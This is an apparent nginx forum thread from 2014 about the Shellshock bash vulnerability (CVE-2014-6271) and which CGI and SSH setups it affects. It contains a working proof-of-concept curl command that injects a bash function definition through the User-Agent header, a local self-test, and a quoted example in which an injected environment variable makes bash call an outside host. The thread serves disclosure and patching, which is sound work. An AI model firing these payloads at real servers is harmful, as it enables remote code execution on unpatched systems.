CVE-2014-6271 : Remote code execution through bash

addis_a · September 25, 2014, 1:53am

hi list,

the following bug (Remote code execution through bash)
http://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/

might affect you if you use a shell/bash - based fcgi-wrapper like
in
the following
receipt: FCGI Wrap | NGINX /
http://wiki.nginx.org/FcgiwrapDebianInitScript
(did not tested it); if someone runs a shell-based cgi-wrapper and would
like to test the POC from
reddit, i’d be interested in the result

curl -v -k -H ‘User-Agent: () { :;}; echo aa>/tmp/aa’
http://example.com/path/to/file

at least i can confirm this affects bash-based CGIs.
ssh-based gitolite/gitlab et al are affected too.

local self-test:

Output, wenn vulnerable:

$ env x=‘() { :;}; echo vulnerable’ bash -c “echo this is a test”
vulnerable
this is a test

Output, wenn not vulnerable:

$ env x=‘() { :;}; echo vulnerable’ bash -c “echo this is a test”
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
this is a test

additional references:

Advisory CVE-2014-6271: remote code execution through bash (oss-sec-ml)

Analysis 1 oss-sec ml

Analysis 2 / RedHat

Naxsi-WAF Signatures
http://blog.dorvakt.org/2014/09/ruleset-update-possible-remote-code.html

regards & happy patching
(and sorry for this slightly OT-post)

mex

Posted at Nginx Forum:

mex · September 25, 2014, 6:50am

This could also be abused if you ever add any ENV variables that can
come from a user.

gist.github.com

https://gist.github.com/cantino/9fe5f338e5027a46e2eb

gistfile1.txt

1.9.3-p484 :027 > ENV['x'] = '() { :;}; curl http://my.domain.com:8000'
 => "() { :;}; curl http://my.domain.com:8000" 
1.9.3-p484 :028 > `uname -a 2>/dev/null`
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   178  100   178    0     0   2858      0 --:--:-- --:--:-- --:--:--  2870
 => "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\"><html>\n<title>Directory listing for /</title>\n<body>\n<h2>Directory listing for /</h2>\n<hr>\n<ul>\n</ul>\n<hr>\n</body>\n</html>\n" 
1.9.3-p484 :029 >

mex · September 25, 2014, 9:27am

foo …

http://www.openwall.com/lists/oss-security/2014/09/24/17

"Note that on Linux systems where /bin/sh is symlinked to /bin/bash,
any popen() / system() calls from within languages such as PHP would
be of concern due to the ability to control HTTP_* in the env.

/mz"

$ ls -la /bin/sh
lrwxrwxrwx 1 root root 4 Mar 1 2012 /bin/sh → dash

phew '

Posted at Nginx Forum: